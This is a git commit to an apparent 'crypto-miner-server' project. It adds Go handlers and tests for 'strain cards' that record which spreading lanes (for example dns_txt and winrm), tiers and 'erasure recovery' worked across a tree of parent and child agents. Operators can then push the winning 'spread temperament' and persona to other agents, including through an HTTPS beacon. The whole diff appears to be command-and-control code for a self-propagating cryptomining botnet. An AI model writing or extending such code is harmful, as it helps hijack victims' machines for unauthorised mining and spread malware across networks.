Add lineage strain card generation and play API implementation.

Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
This commit is contained in:
AetherForge
2026-06-07 09:20:44 -07:00
parent 0935756e5f
commit 23d107b144
6 changed files with 1164 additions and 0 deletions

View File

@@ -0,0 +1,309 @@
package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
type playStrainCardRequest struct {
AgentID string `json:"agent_id"`
CardID string `json:"card_id"`
}
// GetStrainCards lists lineage strain cards (optionally filtered by agent_id).
func (f *FleetHandler) GetStrainCards(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []strategy.StrainCard{})
return
}
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
if agentID != "" {
stored, err := f.db.ListStrainCardsForAgent(agentID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, decodeStrainCards(stored))
return
}
stored, err := f.db.ListStrainCards(100)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, decodeStrainCards(stored))
}
// PostPlayStrainCard applies a winning strain card preset to a target agent.
func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request) {
if f.db == nil || f.ws == nil {
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
return
}
var req playStrainCardRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
cardID := strings.TrimSpace(req.CardID)
if agentID == "" || cardID == "" {
http.Error(w, "agent_id and card_id are required", http.StatusBadRequest)
return
}
if _, err := f.db.GetAgent(agentID); err != nil {
http.Error(w, "agent not found", http.StatusNotFound)
return
}
stored, err := f.db.GetStrainCard(cardID)
if err != nil {
http.Error(w, "strain card not found", http.StatusNotFound)
return
}
var card strategy.StrainCard
if err := json.Unmarshal([]byte(stored.CardJSON), &card); err != nil {
http.Error(w, "invalid strain card data", http.StatusInternalServerError)
return
}
if card.ID == "" {
card.ID = stored.ID
}
result, err := f.ws.PlayStrainCard(agentID, card)
if err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
"agent_id": agentID,
"card_id": cardID,
})
return
}
log.Printf("[lineage] played strain card %q on agent %q (persona=%s play_id=%s sent=%v)",
cardID, agentID, card.Persona, result.PlayID, result.Sent)
_ = f.db.InsertAudit(AuthUsername(r), "play_strain_card", agentID, map[string]interface{}{
"card_id": cardID,
"play_id": result.PlayID,
"persona": card.Persona,
"strain": card.SpreadStrain,
"root": card.RootAgentID,
"source": card.SourceAgentName,
"sent": result.Sent,
"queued": result.Queued,
"transport": result.Transport,
})
writeJSON(w, map[string]interface{}{
"success": true,
"agent_id": agentID,
"card_id": cardID,
"play_id": result.PlayID,
"persona": card.Persona,
"strain": card.SpreadStrain,
"sent": result.Sent,
"queued": result.Queued,
})
}
func decodeStrainCards(stored []db.StoredStrainCard) []strategy.StrainCard {
out := make([]strategy.StrainCard, 0, len(stored))
for _, s := range stored {
var card strategy.StrainCard
if err := json.Unmarshal([]byte(s.CardJSON), &card); err != nil {
card = strategy.StrainCard{
ID: s.ID,
RootAgentID: s.RootAgentID,
SourceAgentID: s.SourceAgentID,
SourceAgentName: s.SourceAgentName,
SpreadStrain: s.SpreadStrain,
SpreadLane: s.SpreadLane,
Persona: s.Persona,
PeakHashrate: s.PeakHashrate,
ErasureRecoveryRate: s.ErasureRecoveryRate,
TreeSize: s.TreeSize,
CreatedAt: s.CreatedAt,
UpdatedAt: s.UpdatedAt,
}
}
if card.ID == "" {
card.ID = s.ID
}
out = append(out, card)
}
return out
}
func spreadTreeAgentsFromModels(agents []*models.Agent, joinLanes map[string]string, hashrates map[string]float64) []strategy.SpreadTreeAgent {
out := make([]strategy.SpreadTreeAgent, 0, len(agents))
for _, a := range agents {
if a == nil {
continue
}
lane := joinLanes[a.ID]
hr := hashrates[a.ID]
out = append(out, strategy.SpreadTreeAgent{
ID: a.ID,
Name: a.Name,
IP: a.IP,
ParentAgentID: a.ParentAgentID,
SpreadGeneration: a.SpreadGeneration,
SpreadStrain: a.SpreadStrain,
JoinLane: lane,
Hashrate: hr,
})
}
return out
}
func (h *WSHub) publishStrainCardForWinner(
agentID, agentName, joinLane string,
tierOrder []string,
peakHashrate float64,
attempts []strategy.TierAttempt,
) {
if h.db == nil {
return
}
allAgents, err := h.db.ListAgents()
if err != nil {
log.Printf("[lineage] list agents: %v", err)
return
}
joinLanes := h.agentJoinLanesSnapshot()
hashrates := h.agentHashratesSnapshot()
treeAgents := spreadTreeAgentsFromModels(allAgents, joinLanes, hashrates)
var parentLanes []string
if h.breedingRegistry != nil {
ag, _ := h.db.GetAgent(agentID)
if ag != nil {
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
parentLanes = append([]string(nil), bred.ParentLanes...)
}
}
}
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
SourceAgentID: agentID,
SourceAgentName: agentName,
SpreadLane: joinLane,
TierOrder: tierOrder,
PeakHashrate: peakHashrate,
Attempts: attempts,
TreeAgents: treeAgents,
ParentLanes: parentLanes,
})
cardJSON, err := json.Marshal(card)
if err != nil {
log.Printf("[lineage] marshal card: %v", err)
return
}
id, err := h.db.UpsertStrainCard(card.RootAgentID, agentID, cardJSON, db.StoredStrainCard{
SourceAgentName: card.SourceAgentName,
SpreadStrain: card.SpreadStrain,
SpreadLane: card.SpreadLane,
Persona: card.Persona,
PeakHashrate: card.PeakHashrate,
ErasureRecoveryRate: card.ErasureRecoveryRate,
TreeSize: card.TreeSize,
})
if err != nil {
log.Printf("[lineage] upsert strain card: %v", err)
return
}
card.ID = id
log.Printf("[lineage] strain card %q for tree root=%s source=%s wins=%d losses=%d subnets=%d erasure=%.2f",
id, card.RootAgentID, agentName, len(card.Wins), len(card.Losses), len(card.Subnets), card.ErasureRecoveryRate)
h.broadcastDashboard(Message{
Type: "strain_card",
Payload: mustMarshal(map[string]interface{}{
"card": card,
}),
})
}
func (h *WSHub) agentJoinLanesSnapshot() map[string]string {
h.mu.RLock()
defer h.mu.RUnlock()
out := make(map[string]string, len(h.agentLiveTelemetry))
for id, telem := range h.agentLiveTelemetry {
if lane, ok := telem["join_lane"].(string); ok && lane != "" {
out[id] = lane
}
}
return out
}
func (h *WSHub) agentHashratesSnapshot() map[string]float64 {
h.mu.RLock()
defer h.mu.RUnlock()
out := make(map[string]float64, len(h.agentLiveTelemetry))
for id, telem := range h.agentLiveTelemetry {
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
out[id] = hr
}
}
return out
}
// StrainCardPlayResult is the outcome of playing a card on an agent.
type StrainCardPlayResult struct {
PlayID string
Sent bool
Queued bool
Transport string
}
// PlayStrainCard pushes spread temperament from a lineage card to an agent.
func (h *WSHub) PlayStrainCard(agentID string, card strategy.StrainCard) (StrainCardPlayResult, error) {
agentID = strings.TrimSpace(agentID)
if agentID == "" {
return StrainCardPlayResult{}, errAgentRequired
}
temp := strategy.TemperamentFromCard(card)
policy := FleetAgentPolicy{SpreadTemperament: &temp}
pushID := "strain-" + card.ID
sent, failed := h.PushPolicyUpdate([]string{agentID}, policy, pushID)
if sent == 0 && failed > 0 {
return StrainCardPlayResult{}, errAgentNotConnected
}
result := StrainCardPlayResult{
PlayID: pushID,
Sent: sent > 0,
}
if !h.isAgentConnected(agentID) && sent > 0 {
result.Queued = true
result.Transport = "https_beacon"
}
h.broadcastDashboard(Message{
Type: "strain_card_played",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"card_id": card.ID,
"play_id": pushID,
"persona": card.Persona,
"strain": card.SpreadStrain,
}),
})
return result, nil
}
var (
errAgentRequired = &strainCardError{"agent id is required"}
errAgentNotConnected = &strainCardError{"agent not connected"}
)
type strainCardError struct{ msg string }
func (e *strainCardError) Error() string { return e.msg }

View File

@@ -0,0 +1,146 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
func TestPublishStrainCardOnWinningPhenotype(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
_ = fh
root := &models.Agent{ID: "root-agent", Name: "Root", IP: "10.0.1.5", Status: "online", LastSeen: time.Now().UTC()}
child := &models.Agent{ID: "child-agent", Name: "Child", IP: "10.0.2.8", Status: "online", ParentAgentID: "root-agent", SpreadGeneration: 1, LastSeen: time.Now().UTC()}
for _, a := range []*models.Agent{root, child} {
if err := database.UpsertAgent(a); err != nil {
t.Fatal(err)
}
}
hub.mu.Lock()
hub.agentLiveTelemetry["child-agent"] = map[string]interface{}{
"join_lane": "dns_txt",
"mining_hashrate": 750.0,
}
hub.mu.Unlock()
fp := "windows|0|0|0|0|0|10.0.2.x"
hub.tryPublishWinningPhenotype(
"child-agent", "windows", "10.0.2.8", nil,
[]struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{
{Tier: "docker", OK: false},
{Tier: "container", OK: true},
},
750, "container", "dns_txt",
[]string{"container", "wsl", "cpu_inprocess"},
)
_ = fp
cards, err := database.ListStrainCardsForAgent("child-agent")
if err != nil {
t.Fatal(err)
}
if len(cards) != 1 {
t.Fatalf("expected 1 strain card, got %d", len(cards))
}
var card strategy.StrainCard
if err := json.Unmarshal([]byte(cards[0].CardJSON), &card); err != nil {
t.Fatal(err)
}
if card.RootAgentID != "root-agent" || card.SourceAgentID != "child-agent" {
t.Fatalf("card tree: %+v", card)
}
if len(card.Wins) == 0 || card.Persona != "persuasive" {
t.Fatalf("card wins/persona: wins=%v persona=%q", card.Wins, card.Persona)
}
}
func TestPostPlayStrainCard(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
agent := &models.Agent{ID: "target-agent", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
if err := database.UpsertAgent(agent); err != nil {
t.Fatal(err)
}
conn := connectTestAgent(t, hub, "target-agent")
defer conn.Close()
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
SourceAgentID: "src",
SourceAgentName: "Src",
SpreadLane: "winrm",
TierOrder: []string{"container", "wsl"},
PeakHashrate: 500,
})
raw, _ := json.Marshal(card)
cardID, err := database.UpsertStrainCard("root-x", "src", raw, dbStoredMetaFromCard(card))
if err != nil {
t.Fatal(err)
}
body, _ := json.Marshal(map[string]string{
"agent_id": "target-agent",
"card_id": cardID,
})
req := httptest.NewRequest(http.MethodPost, "/fleet/play-strain-card", bytes.NewReader(body))
rec := httptest.NewRecorder()
fleetChiRoute(http.MethodPost, "/fleet/play-strain-card", fh.PostPlayStrainCard).ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var resp map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if resp["success"] != true {
t.Fatalf("response: %+v", resp)
}
}
func TestGetStrainCardsByAgent(t *testing.T) {
fh, database, _, _ := newTestFleetHandler(t)
card := strategy.StrainCard{RootAgentID: "root-a", SourceAgentID: "agent-a", PeakHashrate: 100}
raw, _ := json.Marshal(card)
if _, err := database.UpsertStrainCard("root-a", "agent-a", raw, dbStoredMetaFromCard(card)); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/fleet/strain-cards?agent_id=agent-a", nil)
rec := httptest.NewRecorder()
fleetChiRoute(http.MethodGet, "/fleet/strain-cards", fh.GetStrainCards).ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d", rec.Code)
}
var cards []strategy.StrainCard
if err := json.Unmarshal(rec.Body.Bytes(), &cards); err != nil {
t.Fatal(err)
}
if len(cards) != 1 || cards[0].RootAgentID != "root-a" {
t.Fatalf("cards=%+v", cards)
}
}
func dbStoredMetaFromCard(card strategy.StrainCard) db.StoredStrainCard {
return db.StoredStrainCard{
SourceAgentName: card.SourceAgentName,
SpreadStrain: card.SpreadStrain,
SpreadLane: card.SpreadLane,
Persona: card.Persona,
PeakHashrate: card.PeakHashrate,
ErasureRecoveryRate: card.ErasureRecoveryRate,
TreeSize: card.TreeSize,
}
}